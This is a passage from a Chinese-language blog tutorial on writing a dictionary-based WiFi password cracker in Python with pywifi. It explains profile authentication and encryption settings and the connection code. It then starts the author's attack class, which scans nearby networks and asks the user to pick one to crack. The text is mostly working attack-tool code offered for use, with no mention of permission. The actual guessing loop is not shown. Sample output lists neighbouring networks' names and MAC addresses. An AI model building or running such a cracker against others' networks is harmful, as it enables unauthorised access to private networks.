<hr>
<blockquote>
<p><strong>这四个是必须要设置的,下面我们讲解他们的不同。</strong></p>
</blockquote>
<hr>
<blockquote>
<p>对于<code>profile.auth</code>的认证算法，我们一般选择<code>const.AUTH_ALG_OPEN</code>，<code>const.AUTH_ALG_SHARED</code>，在<strong>pywifi</strong> 库中支持这两个,大家可以左键看一下</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">AUTH_ALG_OPEN = <span class="number">0</span> <span class="comment">#开放认证系统(认证阶段不需要提供密码)</span></span><br><span class="line">AUTH_ALG_SHARED = <span class="number">1</span> <span class="comment">#共享密钥认证系统(认证阶段需要提供密码，但是密钥是共享的，安全性低)</span></span><br></pre></td></tr></table></figure></div>
</blockquote>
<p>我们一般设置为<code>const.AUTH_ALG_OPEN</code>，尽管他是<strong>开放系统</strong>(即不需要在认证阶段提供密码)，但是我们使用的<code>WPA/WPA2</code>加密算法(AKM)，连接WiFi就需要密码验证。</p>
<p><strong>简单点说，就算是我们设置了开放系统认证<code>const.AUTH_ALG_OPEN</code>，但只要AKM的加密算法在，我们连接网络就需要密码</strong></p>
<p>讲这个是为了防止大家认为只要设置了<code>const.AUTH_ALG_OPEN</code>，就不需要密码，其实不然，我们设置了<code>const.AUTH_ALG_OPEN</code>，那么连接网络就需要密码。但是如果我们没有配置<code>const.AUTH_ALG_OPEN</code>，就可能会导致连接失败。</p>
<hr>
<blockquote>
<p>对于<code>profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>的加密单元，我们一般选择<code>AKM_TYPE_WPA2PSK</code>，在<strong>pywifi</strong> 库中支持的还有其他几个，大家可以左键看一下</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">AKM_TYPE_NONE = <span class="number">0</span> <span class="comment">#没有安全设置，网络不使用加密，任何人都可以连接，通常不推荐使用，因为它不提供任何数据保护</span></span><br><span class="line">AKM_TYPE_WPA = <span class="number">1</span> <span class="comment">#WPA（WiFi Protected Access）认证，使用TKIP（Temporal Key Integrity Protocol）作为加密算法，是一种较老的加密标准</span></span><br><span class="line">AKM_TYPE_WPAPSK = <span class="number">2</span> <span class="comment">#WPA-PSK（Pre-Shared Key）认证，是WPA的个人版，使用TKIP加密算法，需要用户输入预共享密钥（即WiFi密码）</span></span><br><span class="line">AKM_TYPE_WPA2 = <span class="number">3</span> <span class="comment">#WPA2认证，使用CCMP（Counter Mode with Cipher Block Chaining Message Authentication Code Protocol）作为加密算法，是一种更安全的加密标准</span></span><br><span class="line">AKM_TYPE_WPA2PSK = <span class="number">4</span> <span class="comment">#WPA2-PSK认证，是WPA2的个人版，使用CCMP加密算法，需要用户输入预共享密钥</span></span><br><span class="line">AKM_TYPE_UNKNOWN = <span class="number">5</span> <span class="comment">#未知的AKM类型，通常用于在未能识别网络的AKM类型时提供一个通用的值</span></span><br></pre></td></tr></table></figure></div>
</blockquote>
<p>我们一般选择<code>AKM_TYPE_WPA2PSK</code>，因为这个算法是当前最广泛的加密算法，也就是平常咱们用的WiFi的加密方式。</p>
<hr>
<blockquote>
<p>对于<code>profile.cipher</code>的加密单元，我们一般选择<code>const.CIPHER_TYPE_CCMP</code>，在<strong>pywifi</strong> 库中支持的还有其他几个，大家可以左键看一下.</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">CIPHER_TYPE_NONE = <span class="number">0</span> <span class="comment">#没有加密，数据传输不使用加密算法。这通常与 AKM_TYPE_NONE 一起使用，适用于没有安全设置的开放网络</span></span><br><span class="line">CIPHER_TYPE_WEP = <span class="number">1</span> <span class="comment">#使用WEP（Wired Equivalent Privacy）加密算法，这是一种较老的加密标准，现在已经不推荐使用，因为它容易受到安全攻击</span></span><br><span class="line">CIPHER_TYPE_TKIP = <span class="number">2</span> <span class="comment">#使用TKIP（Temporal Key Integrity Protocol）加密算法，这是WPA（WiFi Protected Access）标准使用的加密方式</span></span><br><span class="line">CIPHER_TYPE_CCMP = <span class="number">3</span> <span class="comment">#使用CCMP（Counter Mode with Cipher Block Chaining Message Authentication Code Protocol）加密算法，这是WPA2（WiFi Protected Access 2）标准使用的加密方式，比TKIP更安全</span></span><br><span class="line">CIPHER_TYPE_UNKNOWN = <span class="number">4</span> <span class="comment">#未知的加密单元，通常用于在未能识别网络的加密单元时提供一个通用的值,通常不使用</span></span><br></pre></td></tr></table></figure></div>
</blockquote>
<p>这里我们选择<code>const.CIPHER_TYPE_CCMP</code>，因为我们前面选择的是<code>AKM_TYPE_WPA2PSK</code>加密方式，这个加密方式使用的是<code>CCMP</code>加密单元，而对应的这里选择的加密单元也必须是<code>CCMP</code>,要对应一致，否则连接不上WiFi，而<code>pywifi</code>提供的加密单元中只有<code>CIPHER_TYPE_CCMP</code>提供CCMP加密单元。</p>
<hr>
<p><strong>接下来，我们开始连接WiFi.</strong></p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">ifaces.remove_all_network_profiles() <span class="comment">#删除所有wifi配置文件</span></span><br><span class="line"></span><br><span class="line">tep_profile = ifaces.add_network_profile(profile) <span class="comment">#加载新的wifi连接文件</span></span><br><span class="line"></span><br><span class="line">ifaces.connect(tep_profile) <span class="comment">#连接上面的wifi文件</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ifaces.status() == const.IFACE_CONNECTED: <span class="comment">#如果wifi已连接</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#  如果仍未连接</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="literal">False</span>)</span><br></pre></td></tr></table></figure></div>

<ul>
<li><p><code>ifaces.remove_all_network_profiles()</code>是删除所有wifi配置文件，这个是必须要做的，因为我们每次连接wifi，都需要创建一个新的配置文件，如果不删除，就会出现多个配置文件，导致连接失败。</p>
</li>
<li><p><code>tep_profile = ifaces.add_network_profile(profile)</code>是加载新的wifi连接文件，这个是必须要做的，因为我们每次连接wifi，都需要创建一个新的配置文件，如果不加载，就会出现连接失败。</p>
</li>
<li><p><code>ifaces.connect(tep_profile)</code>是连接上面的wifi文件。</p>
</li>
</ul>
<p>最后通过<code>if</code>判断进行判断是否连接成功，如果连接成功，打印<code>True</code>，如果连接失败，打印<code>False</code>。</p>
<hr>
<p>到现在，我们基础的<code>pywifi</code>的基础用法就讲完了，这样大家基本上也就能自己做出一个基于字典的WiFi密码破解器了，大家可以先自行尝试一下，接下来，我就来讲解我的WiFi密码破解器。</p>
<hr>
<h3 id="代码解析-代码整体思路"><a href="#代码解析-代码整体思路" class="headerlink" title="代码解析:代码整体思路"></a>代码解析:代码整体思路</h3><p>我打算以后再做一个GUI的界面，然后就使用了类的方法进行实现WiFi密码破解器的功能。</p>
<ul>
<li>判断自身网络连接情况</li>
<li>扫描附近WiFi</li>
<li>选择要破解的WiFi</li>
<li>破解WiFi</li>
</ul>
<p>我们的思路很简单照着这个开始写代码就可以了。</p>
<h4 id="代码实现-pywifi基本需要"><a href="#代码实现-pywifi基本需要" class="headerlink" title="代码实现:pywifi基本需要"></a>代码实现:pywifi基本需要</h4><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">__author__ = <span class="string">&#x27;ximenxiaoxue&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys <span class="comment">#进行错误检查</span></span><br><span class="line"><span class="keyword">import</span> random <span class="comment">#快速排序使用</span></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> pywifi </span><br><span class="line"><span class="keyword">from</span> pywifi <span class="keyword">import</span> const,Profile</span><br><span class="line"></span><br><span class="line"><span class="comment"># 功能：</span></span><br><span class="line"><span class="comment">#1.判断自身是否连接到wifi</span></span><br><span class="line"><span class="comment">#2.选择是否进行wifi密码破解，新建一个函数进行选择</span></span><br><span class="line"><span class="comment">#3.进行破解</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">wifi_attack_main</span>():</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):  <span class="comment">#这个是整个程序的入口，看这个函数的步骤就可以分析整个程序的流程了</span></span><br><span class="line"></span><br><span class="line">        <span class="variable language_">self</span>.wifi = pywifi.PyWiFi() <span class="comment">#创建wifi对象</span></span><br><span class="line">        <span class="variable language_">self</span>.iface = <span class="variable language_">self</span>.wifi.interfaces()[<span class="number">0</span>] <span class="comment">#获取第一个无线网卡</span></span><br><span class="line">        <span class="variable language_">self</span>.wifi_status = <span class="variable language_">self</span>.iface.status()<span class="comment">#获取无线网卡状态</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>首先，我们的思路都在 <code>__init__</code> 函数里面，在这里实现我们要操作的内容。<br>这里面的代码也很简单都是我们先前讲的<code>pywifi</code>的基础用法。</p>
<h4 id="代码实现-判断自身网络连接情况"><a href="#代码实现-判断自身网络连接情况" class="headerlink" title="代码实现:判断自身网络连接情况"></a>代码实现:判断自身网络连接情况</h4><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):  <span class="comment">#这个是整个程序的入口，看这个函数的步骤就可以分析整个程序的流程了</span></span><br><span class="line"></span><br><span class="line">    <span class="variable language_">self</span>.wifi = pywifi.PyWiFi() <span class="comment">#创建wifi对象</span></span><br><span class="line">    <span class="variable language_">self</span>.iface = <span class="variable language_">self</span>.wifi.interfaces()[<span class="number">0</span>] <span class="comment">#获取第一个无线网卡</span></span><br><span class="line">    <span class="variable language_">self</span>.wifi_status = <span class="variable language_">self</span>.iface.status()<span class="comment">#获取无线网卡状态</span></span><br><span class="line"></span><br><span class="line">    <span class="variable language_">self</span>.choice = <span class="variable language_">self</span>.Choice() <span class="comment">#选择是否进行wifi密码破解</span></span><br><span class="line">    <span class="variable language_">self</span>.wifi_attack(<span class="variable language_">self</span>.choice) <span class="comment">#进行wifi攻击</span></span><br></pre></td></tr></table></figure></div>

<p>我们再写一个函数来根据WiFi的连接情况进行连接网络的判断，也就是<code>Choice</code>函数。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">Choice</span>(<span class="params">self</span>):<span class="comment">#选择是否进行wifi密码破解</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;请保证网络开关已打开&quot;</span>+ <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    <span class="comment">#time.sleep(3)</span></span><br><span class="line">    <span class="keyword">if</span> <span class="variable language_">self</span>.wifi_status == const.IFACE_DISCONNECTED:  <span class="comment"># 判断无线网卡是否连接</span></span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;网络未连接&quot;</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;网络已连接&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:<span class="comment">#循环选择是否进行wifi密码破解</span></span><br><span class="line">        choose_2 = <span class="built_in">input</span>(<span class="string">&quot;是否进行wifi密码破解程序？(y/n):&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> choose_2 == <span class="string">&quot;y&quot;</span> <span class="keyword">or</span> choose_2 == <span class="string">&quot;yes&quot;</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;执行破解程序......&quot;</span>)</span><br><span class="line">            choice = <span class="literal">True</span></span><br><span class="line">            <span class="keyword">return</span> choice</span><br><span class="line">        <span class="keyword">elif</span> choose_2 == <span class="string">&quot;n&quot;</span> <span class="keyword">or</span> choose_2 == <span class="string">&quot;no&quot;</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;正在退出程序&quot;</span>)</span><br><span class="line">            choice = <span class="literal">False</span></span><br><span class="line">            <span class="keyword">return</span> choice</span><br><span class="line"></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;输入错误，请重新输入&quot;</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>这个函数的功能是判断是否进行wifi密码破解，代码也并不难，就是使用<code>pywifi</code>库的<code>status()</code>方法来判断无线网卡的状态，然后根据状态进行选择是否进行wifi密码破解。</p>
<p>为了避免输入错误的情况，我们选择使用<code>while</code>循环来进行选择，直到输入正确为止。</p>
<p>再根据选择弹出<code>choice</code>变量，如果选择进行破解，则<code>choice</code>为<code>True</code>，否则为<code>False</code>。</p>
<p>我们后面要根据这个<code>choice</code>变量来选择是否进行破解程序的执行。</p>
<h4 id="代码实现-破解操作"><a href="#代码实现-破解操作" class="headerlink" title="代码实现:破解操作"></a>代码实现:破解操作</h4><p>我们也会先写一个专门用于破解的函数，也就是<code>wifi_attack</code>函数。</p>
<p>我们也要先明白，这个函数具体要干什么，这个函数是个<strong>框架</strong>，具体的实现要到其他函数里面去。</p>
<hr>
<ul>
<li>首先，我们根据<code>choice</code>变量来判断是否进行破解程序的执行。<ul>
<li>如果<code>choice</code>为<code>True</code>，我们就开始进行破解程序的执行。<ul>
<li>首先，我们先扫描附近的WiFi，获取到目标WiFi的相关信息。</li>
<li>然后，处理我们获取到的目标WiFi的相关信息。</li>
<li>然后，选择需要破解的WiFi。</li>
<li>最后，创建WiFi配置文件，连接目标WiFi，破解密码。</li>
</ul>
</li>
<li>如果<code>choice</code>为<code>False</code>，我们就退出程序。</li>
</ul>
</li>
</ul>
<hr>
<p>这就是我们的<code>wifi_attack</code>函数的整个框架，我们按照这个思路来实现整个函数。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">wifi_attack</span>(<span class="params">self,choice</span>):</span><br><span class="line">    <span class="keyword">if</span> choice == <span class="literal">True</span>:</span><br><span class="line">        item_dict = <span class="variable language_">self</span>.wifi_scan() <span class="comment">#扫描wifi</span></span><br><span class="line">        count,singnal_list = <span class="variable language_">self</span>.read_wifi_data(item_dict)<span class="comment">#读取wifi数据</span></span><br><span class="line">        wifi_name_attack = <span class="variable language_">self</span>.wifi_attack_choose(count,singnal_list) <span class="comment">#选择需要破解的wifi</span></span><br><span class="line"></span><br><span class="line">        <span class="variable language_">self</span>.wifi_crack(wifi_name_attack) <span class="comment">#破解wifi密码</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;已退出&quot;</span>)</span><br><span class="line"></span><br><span class="line">        num = <span class="built_in">input</span>(<span class="string">&quot;按任意键退出&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<blockquote>
<p>所以我们一开始判断是否进行wifi密码破解，然后根据选择进行破解程序的执行。<br>如果为<code>True</code>，我们就开始进行破解程序的执行。</p>
</blockquote>
<p>简单的退出程序写完了，我们再根据思路来写破解的程序。</p>
<p>按照思路，<strong>第一步</strong>，我们先扫描附近的WiFi，获取到目标WiFi的相关信息。</p>
<p>写一个函数<code>wifi_scan()</code>来实现这个功能。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">wifi_scan</span>(<span class="params">self</span>):</span><br><span class="line"> <span class="comment">#扫描wifi</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;正在扫描wifi...&quot;</span>+ <span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line"> time.sleep(<span class="number">2</span>) <span class="comment">#不休眠扫描不全</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line">     <span class="variable language_">self</span>.iface.scan()  <span class="comment"># 扫描附近的wifi</span></span><br><span class="line"></span><br><span class="line">     <span class="keyword">while</span> <span class="keyword">not</span> <span class="variable language_">self</span>.iface.scan_results():</span><br><span class="line">         <span class="built_in">print</span>(<span class="string">&quot;正在扫描...&quot;</span>)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line">        sys.exit(<span class="string">&quot;扫描失败，请检查网络连接&quot;</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;扫描完成&quot;</span>)</span><br><span class="line"> num = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"> wifi_list_parameter = &#123;<span class="string">&#x27;SSID&#x27;</span>: [], <span class="string">&#x27;Singnal level&#x27;</span>: [], <span class="string">&#x27;BSSID&#x27;</span>: [], <span class="string">&#x27;Frequency&#x27;</span>: []&#125;</span><br><span class="line"> <span class="keyword">for</span> bss <span class="keyword">in</span> <span class="variable language_">self</span>.iface.scan_results():</span><br><span class="line">     num += <span class="number">1</span></span><br><span class="line">     <span class="comment"># print(&quot;SSID: %s&quot; % bss.ssid)  # wifi名称</span></span><br><span class="line">     <span class="comment"># print(&quot;Singnal level: %s&quot; % bss.signal)  # 信号强度,信号强度是负数，越接近0网络强度越好</span></span><br><span class="line">     <span class="comment"># print(&quot;BSSID: %s&quot; % bss.bssid)  # MAC地址</span></span><br><span class="line">     <span class="comment"># # print(&quot;Encryption: %s&quot; % bss.encryption)</span></span><br><span class="line">     <span class="comment"># print(&quot;Frequency: %s&quot; % bss.freq)  # 频率 2472000为2.4G网络，5745000为5G网络</span></span><br><span class="line">     <span class="comment"># print(&quot;=&quot; * 20)</span></span><br><span class="line">     <span class="comment">#</span></span><br><span class="line">     wifi_list_parameter[<span class="string">&#x27;SSID&#x27;</span>].append(bss.ssid)</span><br><span class="line">     wifi_list_parameter[<span class="string">&#x27;Singnal level&#x27;</span>].append(bss.signal)</span><br><span class="line">     wifi_list_parameter[<span class="string">&#x27;BSSID&#x27;</span>].append(bss.bssid)</span><br><span class="line">     wifi_list_parameter[<span class="string">&#x27;Frequency&#x27;</span>].append(bss.freq)</span><br><span class="line"></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span>+<span class="string">&quot;*&quot;</span> * <span class="number">20</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;共扫描到%d个wifi&quot;</span> % (num-<span class="number">1</span>)) <span class="comment">#不知道为啥pywifi会多扫描一个，所以-1</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;*&quot;</span> * <span class="number">20</span> + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment">#print(wifi_list_parameter)</span></span><br><span class="line"> <span class="keyword">return</span> wifi_list_parameter</span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>咱们正常的先扫描一下wifi，也就是使用<code>iface.scan()</code>方法，然后使用<code>iface.scan_results()</code>方法来获取扫描到的wifi信息。</p>
<p>不过大家都知道这<code>iface.scan_results()</code>方法正常打印根本就看不懂，所以我们需要处理这个方法。</p>
<p>正常打印的结果如下：</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[&lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA521032C0</span>&gt;, &lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA52103350</span>&gt;, &lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA52103380</span>&gt;, &lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA521033B0</span>&gt;, &lt;pywifi.profile.Profile <span class="built_in">object</span> at <span class="number">0x000001DA521033E0</span>&gt;]</span><br></pre></td></tr></table></figure></div>

<p>但是我们要知道的是，这个列表返回的每个实例的<strong>内存地址</strong>，这也就表明他们都是独立的实例，所以我们不能直接打印这个列表，我们可以通过遍历的方法，查看每个对象的详细信息。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> bss <span class="keyword">in</span> <span class="variable language_">self</span>.iface.scan_results():</span><br><span class="line">    num += <span class="number">1</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;SSID: %s&quot;</span> % bss.ssid)  <span class="comment"># wifi名称</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Singnal level: %s&quot;</span> % bss.signal)  <span class="comment"># 信号强度,信号强度是负数，越接近0网络强度越好</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;BSSID: %s&quot;</span> % bss.bssid)  <span class="comment"># MAC地址</span></span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Frequency: %s&quot;</span> % bss.freq)  <span class="comment"># 频率 2472000为2.4G网络，5745000为5G网络</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span> * <span class="number">20</span>)</span><br></pre></td></tr></table></figure></div>

<p>通过这样遍历，我们可以打印出我们需要的wifi信息。</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">SSID: szpjwfhm</span><br><span class="line">Singnal level: -<span class="number">58</span></span><br><span class="line">BSSID: cc:2d:<span class="number">21</span>:e5:cc:b1:</span><br><span class="line">Frequency: <span class="number">2417000</span></span><br><span class="line">====================</span><br><span class="line">SSID: MERCURY_9CEE</span><br><span class="line">Singnal level: -<span class="number">81</span></span><br><span class="line">BSSID: 6c:<span class="number">59</span>:<span class="number">40</span>:7e:9c:ee:</span><br><span class="line">Frequency: <span class="number">2472000</span></span><br><span class="line">====================</span><br><span class="line">SSID: szpjwfhm_5G</span><br><span class="line">Singnal level: -<span class="number">74</span></span><br><span class="line">BSSID: cc:2d:<span class="number">21</span>:e5:cc:b5:</span><br><span class="line">Frequency: <span class="number">5745000</span></span><br><span class="line">====================</span><br><span class="line">SSID: CMCC-5Z94</span><br><span class="line">Singnal level: -<span class="number">65</span></span><br><span class="line">BSSID: ec:6c:b5:ea:3f:<span class="number">28</span>:</span><br><span class="line">Frequency: <span class="number">2442000</span></span><br><span class="line">====================</span><br><span class="line">SSID: szpjwfhm</span><br><span class="line">Singnal level: -<span class="number">58</span></span><br><span class="line">BSSID: cc:2d:<span class="number">21</span>:e5:cc:b1:</span><br><span class="line">Frequency: <span class="number">2417000</span></span><br><span class="line">====================</span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>除了这些，然后按住<code>Ctrl</code>键，然后<strong>鼠标左键点击</strong><code>scan_results()</code>对象，就可以看到这个对象的详细信息,我们还会发现下面这些信息：</p>
<div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">scan_results</span>(<span class="params">self</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Return the scan result.&quot;&quot;&quot;</span></span><br><span class="line">    </span><br><span class="line">    bsses = <span class="variable language_">self</span>._wifi_ctrl.scan_results(<span class="variable language_">self</span>._raw_obj)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="variable language_">self</span>._logger.isEnabledFor(logging.INFO):</span><br><span class="line">        <span class="keyword">for</span> bss <span class="keyword">in</span> bsses:</span><br><span class="line">            <span class="variable language_">self</span>._logger.info(<span class="string">&quot;Find bss:&quot;</span>)</span><br><span class="line">            <span class="variable language_">self</span>._logger.info(<span class="string">&quot;\tbssid: %s&quot;</span>, bss.bssid)</span><br><span class="line">            <span class="variable language_">self</span>._logger.info(<span class="string">&quot;\tssid: %s&quot;</span>, bss.ssid)</span><br><span class="line">            <span class="variable language_">self</span>._logger.info(<span class="string">&quot;\tfreq: %d&quot;</span>, bss.freq)</span><br><span class="line">            <span class="variable language_">self</span>._logger.info(<span class="string">&quot;\tauth: %s&quot;</span>, bss.auth)</span><br><span class="line">            <span class="variable language_">self</span>._logger.info(<span class="string">&quot;\takm: %s&quot;</span>, bss.akm)</span><br><span class="line">            <span class="variable language_">self</span>._logger.info(<span class="string">&quot;\tsignal: %d&quot;</span>, bss.signal)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> bsses</span><br><span class="line"></span><br></pre></td></tr></table></figure></div>

<p>除了我们打印的那些，我们还能知道WiFi的认证方式(bss.auth)，加密方式(bss.akm)，咱们这里就不打印了，如果大家需要可以自行改造。</p>
<p>这样我们就获取了附近WiFi的信息，但是，我们想一想，这些数据是需要我们存储起来要用的，我们就得想个法子把我们获取到的WiFi的信息保存起来。</p>
<p>我的方法是使用一个字典，把获取到的信息都存到字典里面，但是我们存放就会有一个问题，他们都是同一个<strong>键值</strong>，我们要怎么存放起来？</p>
<p>所以，我选择使用在每个<strong>键值</strong>上关联一个<strong>列表</strong>，这样就能把相同键值的数据存放到一块去了。</p>
